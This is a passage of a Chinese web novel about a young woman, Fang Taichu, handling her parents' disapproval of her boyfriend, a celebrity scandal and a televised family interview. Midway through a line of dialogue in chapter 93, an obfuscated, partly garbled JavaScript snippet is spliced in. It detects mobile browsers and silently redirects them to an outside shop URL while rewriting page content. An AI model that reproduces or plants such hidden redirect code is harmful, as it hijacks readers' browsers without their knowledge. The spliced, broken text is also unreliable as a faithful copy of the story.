“你说得没错,我也能理解,但不代表我愿意和这样的人成为家人。我和你妈妈不是想控制你,但我们私心里还是更希望你多跟像梁培风那样自身优秀,家庭清白,人际关系简单的人做朋友,这样以后你也不用那么累,还要照顾别人,甚至别人的一大家子的感受。你文然阿姨一个东北人嫁过去,照样要生三个孩子才能站住脚跟,你跟他扯那些没有用的干什么?退一万步讲你找个别的香港普通家庭的男孩子我都不会反对,余萧弋,是不可能跟你回北京发展的,这一点你心知肚明吧方太初?” 小初感觉自己快哭了,但实际上并没有眼泪流出来,她只是想起了早晨分别时他那个深情的眼眸,一阵心痛,“爸,可小余本身还是一个很好的人的。” 方协文起身,帮她换了杯热茶,并顺势轻轻拍了拍她的肩膀,“你们才认识几个月,有些话没必要说得太早。” 小初反问,“那如果再给您一次机会,您想不想早一点认识我妈妈?如果对方本来就是一个很好的人,跟两人认识的时间长短又有什么关系呢?” 方协文说:“再给我一次机会,我也不想更早认识你妈妈,因为人和人之间的缘分是一定的,她更早或者更晚认识我,都不一定能和我恰好走到今天。你是学数学的,随机变量和概率分布的概念就不用我给你解释了吧?” “……” 小初没话说了。 父母太有文化和水平,对子女而言也是一件压力很大的事。 她低头,再次点开了微博。 #芮坤霖,杨敏之恋情#的词条已经上升到了热搜第一。 她不知怎么就笑了。 仔细想想,芮的公关团队这招虽险,胜算却极大。偶像谈恋爱以这样的方式被曝光确实难看了一点,但总比给资本家的大小姐当狗要体面多了。 至此,这件事的选择权就算全部交到了杨敏之手里,后续怎么发展和收场,就全看她打算怎么定位自己的形象了。 是做个极具反抗精神的悲剧女主赢得舆论的同情和支持呢,还是默认自己就是越过道德边界不小心玩过了火。 反正现在已经事发,她和余珺彦婚约是绝无可能再继续了,只要她脑子没问题,都应该明白此刻承认和芮坤霖的恋情,才是对她,对杨家最有利的选择。 至于余家,得罪肯定是得罪了,但联姻本身就是利益的缔结,那就从利益上给人家补回去好了,吃亏肯定是要吃的,但没办法,谁让杨大小姐如此不小心,那她就只能为自己的放浪形骸买买单了。 芮坤霖的粉丝们似乎都觉得这事儿稳了,已经开始一边自我安慰“哥哥不是不爱我们了,他只是确实到了该考虑婚恋问题的年龄了而已”,一边暗戳戳准备开香槟庆祝自己终于又力挽狂澜再次保住了哥哥的事业了。 小初却觉得这事没那么简单。 主要,她太了解余珺彦,他未必肯吃这样的明亏。 他最擅长的就是以自己的伤口示人,博取全世界的同情。 团队里没有三个以上和他一样毕业于世界顶级名校又恰好有良好出身的聪明人,芮坤霖想赢,恐怕很难。 说实话,她甚至都不能保证自己能赢得过余珺彦,一群比会喘气的AI 好不了多只会复制文案在各个评论区完成粉丝KPI、没有路人的支持甚至连自家哥哥的电影票房都撑不起来的乌合之众,一万个,能不能及他一个,都难说。 然后很快,她就验证了她的猜想。 有人把余珺彦的IG内容搬运到了微博,眼尖的网友们发现,最近一段时间,包括昨晚,他好多条动态都是和杨敏之相关的内容,她打高尔夫,她站在西贡半岛的风中长发飘飘,她陪他一块参加宴会,看展,品尝人间美食……以及,她作为颁奖嘉宾出现在澳门电视剧盛典的舞台上。 最可怕的是,那些照片里的余珺彦不仅帅气,深情更是无人能敌,无论哪个场景,他深邃的蓝色眼眸中似乎都只有杨小姐一人。 艾琳说得没错,就算单论长相,也是他余珺彦完胜。 事已至此,小初实在不敢想杨敏之得蠢到什么程度,才敢站出来公然打余家的脸,说自己跟个娱乐圈的戏子是真爱。就算她肯,杨镝英和夫人以及杨家的整个智囊团肯吗? 余家的体面,这次他们恐怕是给也得给,不给也得给了。 这个余珺彦,还真是一个算人心的高手啊,一边口口声声要回美国和郭羡如结婚,一边还能在IG上假装和未婚妻秀恩爱,直至她丑闻被曝光,成全他成为余绍鸿眼中为家族利益牺牲最大的人。 这就是小初在浏览完微博热搜话题后的所有感想。 如果没有意外,芮坤霖是一定要被献祭了。 所以,这件事真的像她爸猜的那样,是萧文然夫妇做的吗? 小初发消息给余萧弋,【爷爷还好吗?】 他很快回过来,【不太好,杨镝英夫妇都在余宅,双方已经谈了快两个小时。】 小初嘴角一抽。 【爷爷寸步不让,说什么都不同意杨家承认那个男星。】 小初想起余绍鸿劲风中打高尔夫的身姿,对这个结果一点都没意外。 自己孙子被人这么对待,他凭什么要成全他杨家的体面? 要丢人,一起丢好了。 这个婚约肯定是要解除的,但肯定不是现在。 余萧弋又说,【从此后爷爷对余珺彦的怜爱,无人能及了。】 小初说,【你别管他了,照顾好自己。】 他答好。 半个小时后,杨敏之和余珺彦就同时发了两人一起共进午餐的合影,照片中两人状态看着都很不错,气氛也甜蜜至极,并附标题:《无稽之谈》。 且特别说明昨晚一整晚两人都在一起,并没有见过新闻中提的任何其他人,余杨两家的律师已经着手起诉蓄意传播不实信息的人,同时呼吁广大网友谨言慎行,要时刻保持清醒的认知和判断,一定不要被有心人带节奏。 表面上看是在合力否认杨敏之和芮坤霖的绯闻,实际上每一笔都像刀,刀刀都在宣布芮坤霖的社会性死亡。 他们吃饭的餐厅刚好就是小初和余萧弋前几天给史密斯教授订圣诞蛋糕的那家位于浅水湾的五星饭店,九宫格照片里的其中一张,余珺彦正透过手机的前置摄像头看着他身后双手托腮的杨小姐。 眼神温柔至极。 他的演技,才真称得上——炉火纯青。 92.第 92 章 接下来的一周,小初的日程被安排得很满,别说为余萧弋得相思病了,她连和艾琳约好的那顿饭都是抽空吃的。 一见面,她就跟她说,“琳,你别骂我,但我只能给你两个小时。” 艾琳抱住她,眨眨眼,“嚯,还真成秦始皇了。” 她就知道,她不会骂她,却也不会轻易放过她。 “所以菜点好了吗?” 艾琳大笑,挑了挑她的下巴,“陛下,我办事您还不放心吗?” 小初也笑,“放肆,敢跟朕动手动脚。” 艾琳说:“也是奇怪,你这么漂亮,我却一点都不嫉妒,反而每次看见你心底都会生出无限美好来,只想和你贴贴。” 小初笑得慧黠,“你这只是单纯好色吧?之前对方总怀着的也是同样情感?” 艾琳一把捂住她的嘴,“小声点祖宗,我将来还想去参加你的婚礼呢,你再乱开玩笑我都不敢见方叔叔的面了。” “我这是给你祛魅呢,多提几次你就对他免疫了,实话说,你要跟他单独呆三天还能对他对保持初心,我都要佩服你。” 艾琳不懂,“怎么呢,他私下不爱洗澡吗?” 小初煞有介事,“比那个严重多了。他这辈子唯一那点温柔大概都给了他老婆了,对别人是真的没耐心又刻薄,还什么事都想说了算,控制欲贼强,我这才回来一天,都感觉自己遍体鳞伤了。” 艾琳双手捧住脸颊,眼角弯弯:“哇,宠妻又爹系,方总太帅了。” “……”小初是真的无语了,“琳,恋爱脑是会受到惩罚的。” “什么恋爱脑!”艾琳极力否认,“我对方总现在只有晚辈对长辈的景仰好吗?再说……”她突然羞涩一笑,把手机点亮给她看,“我屏保都换成我男朋友的了。” 小初探头过去,狐疑,“姐夫哥长得怎么这么像哪个明星?” “就是明星啊!怎么样帅吗?不许说不帅啊!我正上头呢。” “……”小初很想说——姐姐,你好歹也是全国Top2的高材生啊,看男人怎么能就看脸呢? 可转念一想自己好像也没比她好到哪里去,于是只默默将手里的礼物袋递了过去。 艾琳笑着接过,“什么东西?” “香港手信,小余同学买的,还有你之前惦记的那个影院级别的AR口袋巨幕,内测版本的,你先玩着吧,我估计也快上市了。” “方太初,我爱你。”艾琳情不自禁在小初侧脸上亲了一口,“也谢谢小余同学和方总,下辈子咱俩换换剧本可以吗?我也想体会一下爹和男朋友都是人类高质量男性的玄幻剧情。” “姐姐,我看你是真的饿了。” 艾琳眨眼:“你就不饿吗?” 小初垂了垂唇角,“快饿死了。” “走,上楼!” 两人一起上楼。 小初喜欢大气爽朗的艾琳,如果她后来没有强迫她品尝凉拌折耳根的话,她能更喜欢她一点。 当然,贵州菜还是很酸辣过瘾的,和连着下了两天大雪的北京极为适配。 很少分享生活的她破天荒IG和微信同时更新了九宫格,有昨天所谓的顶级植物料理和飘着雪的极有氛围感的中式庭院,也有今天的她和挚友,还有满桌红彤彤带辣椒的菜。 以她和艾琳为中轴线,一半清冷,一半火热。 并附标题:【Left or Right?】 两个小时后,司机准时来接她的时候,已是满屏留言。 尽管如此,她还是一眼就看到了她想看到的那个人的,【All.】 她笑着回他:【对某人来说这个辣椒算是致死量了吧?还是那几片破叶子比较适合你。】 余萧弋说:【那下次带我去吃。】 铭仔插话进来,【Theo说的All都包括什么方太初你懂吧?还有,你几时才能返港啊?再迟几天我恐怕他都要抑郁了,吃饭都约不出来。】 余萧弋马上骂了一句过去:【你讲乜野?不是说好了明天中午大家一块吃饭吗?她好容易回趟家,你再胡乱影响她心情一下试试?】 到这儿,小初才恍然意识到一件事,铭仔好像还是她和余萧弋唯一可以看到她这条动态的共同好友,其他几个人,比如池咏珊和余萧泽什么的,都没有这个用户习惯,至于萧文然和余韬韬,已经被她设置了分组,不展示此条朋友圈。 因为,她爸有个观点她很认同,她和他认识的时间还太短,未来的不确定性太高,完全没有必要和对方的家庭牵扯太深。 若是脑子里一点这样的想法都没有,她之前收到他以及萧文然送的那些贵重的礼物时心理压力就不会那么大了。 按她本心,她当然更希望两个人的相处可以简单一点,就让一切自然而然地发生,至于结果怎么样,全看缘分。 可也不知道为什么,自从认识他,她就像穿越进了一部剧情跌宕起伏的电影,很多东西都是失控的状态,而她被剧情推着,茫然四顾都找不到那个暂停键,最后只能随波逐流了。 香港的四个月,比她过去的二十年人生经历加起来还要精彩。 很快,她就收到了他的私信:【你别听铭仔胡说,我都好好,除了想你。】 小初心里一阵熨帖,却也没忍住诉苦,【可我不好,你还说什么我回北京是野马回归草原,我看我是野马进了驯兽场才对,很快就要失去最后一丝野性了。】 余萧弋笑:【怎么了?】 【我爸把我这一周的日程都安排满了,我现在正往电视台赶呢,陪他们俩录一档人物访谈节目,也不知道要录到几点了。】 【然后明天,也就是周一,亦方数学研究院挂牌,周二国家航天局举办专业领域与技术研讨论坛,也不知为什么我爸也要我去。周三互联网行业大会,这个也是每年都逃不开的活动。】 【周四亦方要给即将上市的一款家庭辅助机器人拍摄广告,我爸说请明星太贵了,让我去拍给家里省省钱,然后我问,那他能给我多少报酬,你都想象不到他当时那个表情有多震惊,好像我就活该免费给他当牛马似的。】 【再然后就是周五的亦方年会和周六的家庭聚会,你说,我爸是不是想把我累死啊。】 小初真的快哭了,【怎么办,回去半个月都是考试周和论文答辩,我都不知道史密斯给我的任务我能不能做完。】 余萧弋说:【这还是今年的研究生课程多调整了半个月的冬季学期出来用于考试,要是按照往年,圣诞假期前秋季学期结束就进入寒假了。】 小初发过去一个流泪的表情,【我知道。】 【所以就连老天都想你留在香港多陪我一段时间。】 【……】小初把今天刚送给艾琳的话送给他;【余萧弋,恋爱脑是会受到惩罚的。】 他笑:【吓不到我。】 然后又安慰她:【没关系,史密斯的作业等你回来我帮你做。其他公共课程的考试应该难不到你吧?】 【还有,你爸应该只是想历练你。虽然他这么做,实在有点针对我余某人的人的意思,你跟他讲一声,让他注意点,把你累坏了我可是要飞到北京找他要说法的。】 小初“嘁”一声,骂他,【你不要脸。】 又挑衅道,【你要真敢来跟他叫叫板,我倒还佩服你。】 余萧弋一下来了精神,【你要这么说的话,我可要买机票了啊。】 【别!】小初马上反悔,她怎么就忘了他的执行力是有多强了呢,【我错了哥哥,你别来,千万别来,别让我难做。】 【那你哄哄我。】 小初咬唇,【我回去哄,你等我。】 余萧弋好整以暇的,【也OK。】 然后又想起另外一件事来,【今天不是Christmas Eve吗?又是星期天,还要加班吗?】 小初回他,【文化不一样,这边没什么圣诞的气息,新年的气息倒是挺浓的,昨天我一进家门,那一客厅的花,差点把我熏晕过去。不过,还是挺喜庆的。】 她发了一张自己穿着红色睡衣、别着小鹿发箍席地而坐的照片给他,【是不是?】 余萧弋的关注点却不在这个上,嘱咐她,【你生理期是不是这几天?别坐在凉地板上。】 小初的脸在他看不见的地方腾地一下红了个透,却也有些哭笑不得,【哥哥,北方有个东西叫地暖你听说过吗?】 余萧弋沉默了一会儿,话题转得特别丝滑,【你身后的花确实开得不错,但没有人漂亮。】 【……】 小初赶到电视台的时候,方协文和黄亦玫已经在化妆间化妆。 因着临近新年,两人身上的衣服都带了点国风元素,品牌设计师似乎很懂东方的含蓄留白,在保留衣服便服形制的基础上,只在细节上用了些小巧思,就将意蕴悠长的中式之美发挥得淋漓尽致。 当然,衣服和穿它的人也是相得益彰,换个人,就未必是这个效果了。 在推门的瞬间,小初的眼泪就涌出来了,但她不想她爸妈看见,还是生生咽了回去。 恍惚看到父母年轻时候的样子,她实在难掩感动。 黄亦玫看见她就招了招手:“小初,你先换衣服,化妆师老师一会儿就给你化。” 方协文闻声也抬眸看了她一眼,但没说话。 小初点头,乖巧地去了。 这次访谈是他们双方很早之前就已经约好的,把她加进来纯属方协文临时起意。 用他的原话说:“本来我们还想多保护你几年,让你先安静把书念完呢,但最近发现你比我们想象的要扛事多了,既然这么能抗,就别天天光陪着那帮姓余的上娱乐新闻了。我方协文的闺女,就算上新闻,也该上财经和科技版块,上什么破娱乐新闻。” 好毒的一张嘴。 小初实在没忍住,回他:“没记错您也因为绯闻上过好几次娱乐新闻吧?要怪只能怪您自己当初没有发展社交媒体平台这条产品线,导致现在全面失去了在公众面前的话语权,只能任人家随便造你的谣。” “还有爸爸,我必须得提醒您,我首先是我,然后才是您的闺女,无论那帮姓余的还是您,都是以我为圆心的我的社会关系和生活,我得凭我自己高兴活着,不能事事都如您的愿。” 话一说完,黄亦玫给她竖了个大拇指。 方协文却从因此昨晚到现在都没再跟她说一句话,估计被她气得不轻。 不说就不说,刚好趁这个时间让他好好反省反省,最近是不是干涉她私生活干涉得有点太多了。 余萧弋不能跟她回北京发展她当然心知肚明,她也没有笃定她这辈子就是他了,但他们是好是坏,都应该她遵从自己内心视事态发展做决定,不可能因着他们不喜欢他,她就要放弃他。 她就算要放弃他,也得是因为她自己感觉出他们之间确实出现了很严重的问题,关系实在没办法续存了才行。 想当初萧文然也并没有对他们的关系乐见其成啊,但人家余萧弋不是照样在他爸妈面前硬气地为他们争取了一切。 她要是因为父母的态度就倒戈,就真的太了丢份了。如果那样她就连朋友都不值得他相交,更不要说一辈子的伴侣了。 黄亦玫给小初准备的是一条剪裁极为利落的无袖连衣裙,白色织锦面料,底色隐隐可以看出鳞状水纹,与之相呼应的,也最令她惊喜的部分是,两只耳饰竟然是两条红色的小鱼。 配上造型师为了营造“随意感”“特意”给她梳的所谓的鸡毛半扎发,十分灵动可爱。 化完妆连她自己都觉得她看上去明媚得有点过分了,赶紧自拍留念,并挑了一张她感觉最好的给余萧弋发了过去,附言,【小余同学,是你在陪着我吗?】 余萧弋很快回了过来,【嗯,果然还是我最称你。】 【……】小初抿抿唇,【可是我好紧张,你知道这档节目的那个主持人吧,采访过那么多名人。】 余萧弋发过来一个摸摸头的表情,【BB的逻和表达肯定没问题的,实在紧张就先听你爸妈怎么说的。第一次面对媒体这样很正常,后面就游刃有余了。】 小初做了个深呼吸,说好。 然后又走过去将自己往黄亦玫的颈窝里埋了一会儿,她身上的香是她从婴儿时期的安全感来源之一,还好,现在另外一个可以仅凭身体味道就可以给她抚慰的人也出现了。 直至遇上他,她才明白原来生理性喜欢是连对方体味都是治愈剂的存在。 “妈,谢谢您送我的礼物。”小初指了指耳垂上的小鱼,“您也挺喜欢他的是不是?就知道您不会跟我那个大男子主义的爸一样。” 黄亦玫拍拍她的背,声音很温柔,“妈妈已经到了既能理解你爸也能理解你的人生阶段了。但爸爸也不是非要拆散你们才开心,他只是觉得你年纪小,其实可以再看看。” 小初撇撇嘴,“他自己一根筋就可以,到我这就不行。太双标了吧。” 黄亦玫笑,“人不都这样吗?看别人都是一副‘就这么点事你至于?’到自己身上就变成了,‘不行,我今天必须得死这’吗?连佛陀都只能渡世人而不能自渡,何况凡人。” 小初沉思了一瞬。 黄亦玫说:“无论怎样你昨天说得很对,你凭你自己高兴活着就好,其他不用管,爸爸那边你放心,有我呢。而且,你当他就真舍得让你伤心呀?这段时间你在那边发生那么多事,他不也睁一只眼闭一只眼,全当没看见也不知道吗。” 小初品味了一下这句话,总感觉有点什么弦外之音。 黄亦玫偏头看向她:“就那么喜欢他?” “嗯。”小初坦诚。 “那也要多相处看看,别只听他说了什么话,最重要还要感受一下遇上事情的时候,他是什么处理方式和态度。虽然我觉得,你文然阿姨教出来的孩子大概率应该还是不错的,那一位的情商向来是连港岛最刻薄的报纸都没挑出过错来的。” 小初点点头,笑,“确实。” 一家子成了精的蜂窝煤,情商能不高嘛。 黄亦玫又说:“可正因为如此我们才担心,你这么单纯的性子,会被人家哄到迷失自己。” 小初抗议,“妈,我又不是个傻子。” “知道!”黄亦玫嗔了她一眼,才问:“他们对你好不好?” “有您二位在这,他们怎么可能对我不好。”小初当然很自知,“妈,我清醒得很。” 黄亦玫点点头。 工作人员过来说让她们准备一下,十分钟后准时开始录制。两人停下来说小话的动作,齐齐抬过头去,却发现方协文正在不远处幽怨地看着她们。 配上他那个清雅贵气的造型,不知怎么就特别好笑。 黄亦玫果然笑出声,捅了捅小初的腰窝,轻声,“去先跟爸爸说句话,马上录制了,别弄得太尴尬。” 哼,既然妈妈都这么说了,她就给她个面子好了。 “爸,您这身衣服特别称您。”小初弯起眼角,当做两人之间什么不愉快都没发生过的样子。 方协文斜睨她一眼,因着身边暂时没外人,也没避讳,“少来这套。” 小初呼吸一滞,却还是好脾气的,“我真心的,这衣服什么品牌,告诉我一下呗,回头出新品我好买给您做礼物。” 方协文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940628|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有温度地勾了勾唇,“你买不起。” 黄亦玫飞了个眼神过去让他自行体会,“方总可以先把人家过两天拍广告的费用结掉嘛。” 方协文冷哼,“放心,既然我跟那帮姓余的一样,都只是人家的普通社会关系而已,那账确实要算清楚一点的。” “……” 小初无语至极。 这世上怎么会有他这么难哄的男人!她妈妈这二十几年到底受的是什么罪啊! 她想了想,再次开口,“爸,要不您问问我那个经典问题,我把我心声说给您听听。” 方协文垂眸,无可无不可的,“什么问题。” “就您跟小余同学一块掉水里,我先救谁的问题。” 方协文不敢相信自己听到了什么,瞳孔瞬间瞪大,就连黄亦玫都没好气地戳了她脸颊一下。 “不问,明知答案,还自取其辱干什么。” 小初撒娇似的扯了扯她爸的衣角,“您问问看嘛,不问怎么知道我说什么。” 方协文这才瞪她一眼,“所以,我和那小子掉水里,你救谁?” 小初得逞一笑:“我当然救他了,妈妈会救您的,不是吗?”说完她又转过去看了眼黄亦玫,神色认真极了,“对吧妈妈?” 方协文身形一晃,勉强站住。人虽然还在那站着,但魂已经飞去香港了。 带着刀去的。 黄亦玫也被她弄得很无语,“小姐,你倒也不用追着他杀吧?”而后才郑重其事地点了点头,“行吧,为了不让你为难,我一定竭尽全力帮你把他救上来。” 方协文语气冰冷得跟北京外面下雪的冬天似的,“你先看看她为难了吗?” 小初这才收起调笑神色,认真道:“爸爸,我刚开玩笑的,就算您不问,刚才那个问题的答案在我这,也是一万次爸爸。这世上任何人,都不可能替代您和妈妈在我心里的地位,我发誓。还记得几年前我们仨在房车的车窗上画的二进制线条吗?我那么向往宇宙,就是想像电影里那样,将来找到时间虫洞,可以无限次飞回到过去看你和妈妈呀。” 顿了顿,她才又小声说道:“就飞回到我四岁之前的那些日子里,一直一直重复,永远都不要到你们分开的那一天。” 只一句话,就让方协文和黄亦玫雕塑一样愣在了原地,只剩眼泪汹涌。 电视台的工作人员过来通知说可以进棚了。 方协文的生活助理透过门缝朝化妆间里看了一眼,思索了几秒,沟通说能不能再给他们十分钟。 对方说好。 门又被他轻轻合上了。 “小崽子,你这是想要我们的命啊。”方协文敛了敛情绪,缓步走到黄亦玫旁边,将她轻轻楼入怀中,“老婆别哭,她这是在故意拿捏我们的情绪呢。” 黄亦玫却仍陷在回忆里的某片混乱的沼泽里走不出来。 在那个嘈杂的时空中,小阁楼的木质楼梯吱吱呀呀,婴儿在摇篮里哭闹不休,而她陷入了梦魇,怎么伸手,都触不到那个摇篮的边缘。半晌过后,终于有人推门而入,从摇篮里抱起了婴儿,来回踱步温柔地轻哄着,直至把她再次哄睡,才轻轻坐到她床边,似是自言自语,又像是说给睡梦中的她,“玫瑰,你们两个睡着的样子好像啊。” 又过了一会儿,她才听见第二句:“玫瑰,我真的好幸福。你相信我,我一定会努力给你们最好的生活的。” 一个无与伦比美丽的梦。 却也像泡影一般,碎得无影无踪。 若真有那个虫洞,她又何尝不想回到过去,以今天的心境重新走一遍旧路,绝不再重蹈覆辙。 这些年,她岂会看不出作为女儿的小初投射了太多的情感关注,在本应该两个成人自己解决的人生课题上。尽管他们已经尽力在避免和弱化某些东西,但很显然,她还是从他们身上的伤口吸收了很多负面的东西。 她的早慧,她的自律,她的贴心,她对人与人之间关系的高度警觉,很多性格未必是她的选择,而更大可能是她这些年自我治疗创伤的方式。 这完全是错位的。 所以今天她敢直接跟他们说不,他们应该高兴的,不是吗?因为这才意味着她的“个体化”已经逐渐成型,焦虑的情感终于可以从父母身上慢慢剥离。 如果有人真的可以提供给她除父母之外在精神上的安全感,难道不是最好的一件事吗?毕竟,他们会老去,会死亡,他们不可能陪她一辈子。 是时候和方协文好好谈谈了。 不能再让她反过来照顾父母的情绪了。 小初扯了张纸巾过去递给她爸,示意他给黄亦玫擦擦眼泪,继续说道:“可是很遗憾,那样的虫洞是不存在的,因为时间悖论,就算有天真能穿越时光,人们也只能从过去穿越到未来,不能反其道而行之。” 她将目光直直落入方协文眼底,“所以爸爸,我们就往前看吧,好好把未来的日子过好。我永远会选一万次爸爸,但拜托您能不能别逼我在两个对我而言都很重要的人之间做选择?因为那样我会不快乐的,您也不想我不快乐吧?” 方协文一边听,一边温柔地帮黄亦玫擦干了眼泪,然后才抬眸看了眼她一眼,“你爸在你眼里是什么魔鬼吗?” 小初立刻弯起眼角:“哪能呢,您可是我的Hero,没有您给我创造的这一切,我凭什么跟那帮姓余的上破娱乐新闻,又有什么资格站在这里,我今天赢得的所有重视和尊重,归根结底都是因为您和妈妈,我还是个没毕业的学生,我有几斤几两,我自己比谁都清楚。” 方协文说:“那就从今天开始做吧。爸爸上个月刚以你的名义向中国航天基金会捐了一个亿专项基金过去,用于卫星数据处理和应用平台建设。接下来亦方和航天局也会有一系列核心的技术合作,就由你来做这个项目的负责人,怎么样?明天数学研究院挂牌,也要进行项目签约,这么大的日子,没你小方总在合适吗?” 小初反应了一会儿才听懂她爸在说什么。 脑子里轰的一声,她感觉自己这下是真的要哭了。 “我,我行吗爸爸?” “怎么不行?”方协文拍拍她肩膀,“我说了,你绝对是能扛事儿的。” 黄亦玫笑:“而且很会掌控别人的情绪。” 方协文斜眸,“看着在那帮姓余的面前也吃不了大亏的样子,是不是?” “我当然不吃亏!”小初抱住她爸:“再说,不是还有您呢吗?所以您和我妈妈得好好的,将来好帮我过目婚前协议,万一哪天我真跟他过不下去了,也得您出面帮我选个最好的离婚律师团队,非让他们余家脱层皮才行,好不好?” 方协文无奈,“一个好好的小姑娘脸皮这么厚,才跟人家认识几天啊都想了这么远了。” 小初扬眸,眼底此刻真的似有银河倒转,“您都不问问,我为什么那么喜欢他吗?” “因为你看脸。” “不是。”小初认真,“因为他身上有我的自我投射,爸爸,他真的很好很好。” 方协文冷哼,“行了,你自己看着办吧。但这也不代表我就接受他啊,我把话说在前面,你二十五岁之前绝不能提结婚的事,再多多相处看看。也……”他顿了顿,“可以看看别人,这世上总不能就剩他一个好男人了吧。” 小初在他脸上亲了一口,又亲了一口黄亦玫,“谢谢爸爸,谢谢妈妈,谢谢你们这么爱我。也请你们放心,我二十八岁之前都不会动结婚的念头的,若那个人真的是他,八年的时间也足够看透他底色了吧?” 方协文和黄亦玫对视了一眼,只是笑笑,没吭声。 十分钟的时间到,秘书的敲门声响起。 93.第 93 章 最后还是麻烦化妆老师给三个人又补了一遍妆。 双方一碰面,女主持人的目光就胶着在了黄亦玫身上,怔了半晌才用曹子建的诗句【皎若太阳升朝霞,灼若芙蕖出渌波】做了开场白,说好像在这一刻这句诗才算在她脑子里具象化。 然后她又问方协文:“我知道单纯用美来形容一位优秀的女性是非常片面和刻板的,但方太太实在美得令人惊心动魄,连今时今日身为同性的我看见她都移不开眼,真不敢想方总二十几年前遇见她的时候是什么情形。” 方协文瞬间笑得眉眼弯弯,看向老婆的眼神似乎能融化今日北京冰冷的阳光,“就跟你一样,也是移不开眼呗。” “所以两位算是一见钟情?” 方协文说:“反正我肯定是。” 女主持人大笑:“我问的就是你。” 气氛一下轻松下来。 主持人在和黄亦玫握手的时候仍在深深地看着她,一边看还一边红了脸,并自我调侃道:“不行,我感觉我得下去洗把脸冷静冷静才行,不然今天这采访准要卡壳,一点不夸张,我现在整个人都是乱的,连呼吸都不敢放得太重,生怕把眼前这个幻象吹散了。” 这样的夸奖黄亦玫这一生已听过太多次,所以她还算淡定,只俏皮地眨了眨眼:“你太客气了,这话要是放在二十几年前我就生受了,可毕竟流光易逝,盛年难再,再美的人也有老的一天,更何况,闺女都这么大了,我再自称美人是不是就有点贻笑大方了?” “怎么会!”女主持人看着是真的太喜欢她了,“源于前寒武纪、经第四纪河流搬运形成的翡翠大砾石为什么哪怕伴有高绿的斑块仍被称为玉中天花板?因为真正的美就是需要经过岁月沉淀的啊,越沉淀,质地越坚硬,透明度越高,且可遇而不可求。” 小初第一次见连夸人都旁征博引的,实在难掩心中佩服,难怪人家能稳坐访谈类节目的第一把交椅呢,这确实情商出众且谈吐不俗啊。 夸完黄亦玫,女主持人才朝小初伸出手,笑道:“听说方小姐读的是清华八年本硕博贯通培养的少年班?” 小初赶紧谦卑地弯了弯腰,接住那只清瘦却有力的手,答道:“是。” “那今年是?” “第四年。” 女主持人偏头看向方协文,“青出于蓝胜于蓝,方总生了这么一位才貌双全的女公子,岂不是晚上觉都睡得安稳很多?” 嗯?怎么到她这就不旁征博引了? 小初也抬眸看向她爸,并递过去一个他一定能懂的眼神——看吧,就因为你们单位那些人成天说我跟您一个模子刻出来的,导致我跟您越来越像,连我妈百分之五十的美貌都没遗传到,瞧把人家情商这么高的主持人难为的,一个才貌双全就把我打发了。 这件事,您必须全责。 方协文挑了挑眉,并轻咳一声,“那你就大错特错了,因为到目前为止我还没看出她到底会成为我的心腹还是心腹大患呢。” 几个人都大笑起来。 寒暄完毕,主持人甚至亲自牵着黄亦玫的手把送到沙发上,几个人才开始对台本。 这种访谈节目考验的一般都是主持人对大框架的把握,和双方在框架之内对某些话题的即兴发挥和深入探讨,谈话的艺术比较重要。 说是台本,其实也没有太多需要照本宣科的东西,又因为不设置观众席,所以只简单彩排了一遍流程他们就开始了正式录制。 整个过程需要小初表达的部分并不多,因为这次访谈主要还是围绕亦方的前世今生展开的。 至于他们夫妻的爱情故事,生活过往等有关的部分,最多只能算是调味剂,起到一个平衡结构和增加生动性的作用。 为了避免过度精英化,方协文和黄亦玫的表达还是比较直白和质朴的,两人又都是讲故事的高手,很多本来可能很无聊的事,经他们的口一说出来,立刻变得轻松有趣,引人入胜起来。 到小初这,话题则更多聚焦在她的学业以及她即将入职的数学研究院在整个集团中的职能和将来的主营业务方向上。 这部分内容已经是她前一天晚上就精心准备过的,算不上有什么难度。 克服了最初的紧张情绪之后,她的表达也渐入佳境。 和她爸妈的娓娓道来不同,她的语速很快,但逻辑很清晰,整个采访都很有她强烈的个人风格——意气风发,野心勃勃。 她从来没打算掩饰自己的野心,虽然她也不知道传达给外界这样的印象会引起什么样的讨论,但她只有二十岁,如果二十岁就已经失去了莽撞和青涩,那就谈不上青春二字。 况且,她爸妈从小只教了她要怎么遵从本心行事,并没有教她该如何讨好世界。 那就索性,不讨好。 录制比她想象的还要更早结束。 采访结束前,支持人让方协文用几个关键词表达一下对亦方的新年祝福。 方协文说的是:交流,合作,回馈。 他的原话是:“亦方成立至今已逾二十年,这二十年,我和它一块见证了中国互联网行业的极速发展,也享受到了这个发展、以及国家的政策扶植所带来的时代红利,那么现在理所应当就到了它回馈社会,报答国家的时候。所以希望新的一年亦方能跟各方面都多交流合作,为社会创造出更大的价值。” 很正能量的一段话。 要是之前,小初肯定会觉得冠冕堂皇,但今天,她却不知怎么有点泪目,尤其在得知她爸刚给中国航天捐款一个亿的消息后,她更感受到了一种责任,还有情怀。 这些东西,才是她父母教给她最珍贵的东西。 主持人又让他用几个关键词表达一下对小方同学的期许和祝福。 方协文比上个问题沉思得更久,然后才说:“那我想应该是,健康,快乐,和专注自我吧。健康和快乐就不用说了,这肯定是天下每一对父母都最希望孩子拥有的东西,并且无可替代。至于这个专注自我,是因为她毕竟还是学生,我和她妈妈还是希望她把更多的精力用在学业上,多去学习,见识,不断地调整和完善自我,将来成为一个对社会有用的人。” “……” 这也太冠冕堂皇了吧。 小初一秒就收回了眼泪。 主持人慧黠地眨了眨眼,在场几人自然都明白她意指什么:“除了学业,别的方面呢?” 方协文答:“没有了,学生就该以学业为先,一个人把自己的本职工作做好了,别的方面都是水到渠成的事。” 主持人笑,笑得意味深长,没再往下接。 小初也笑,笑得明媚无双,因为她发现拍她的摄像机还在工作。 回去的路上,她才想起问她爸:“所以当年您是因为给别人背锅才阴差阳错创的业?” 方协文说:“那不叫背锅,那叫勇于承担责任。” “得了吧。”小初这代人已经不奉行这样的行事准则,“承担自己该承担的责任叫勇敢,您这个行为,恕我不懂。” 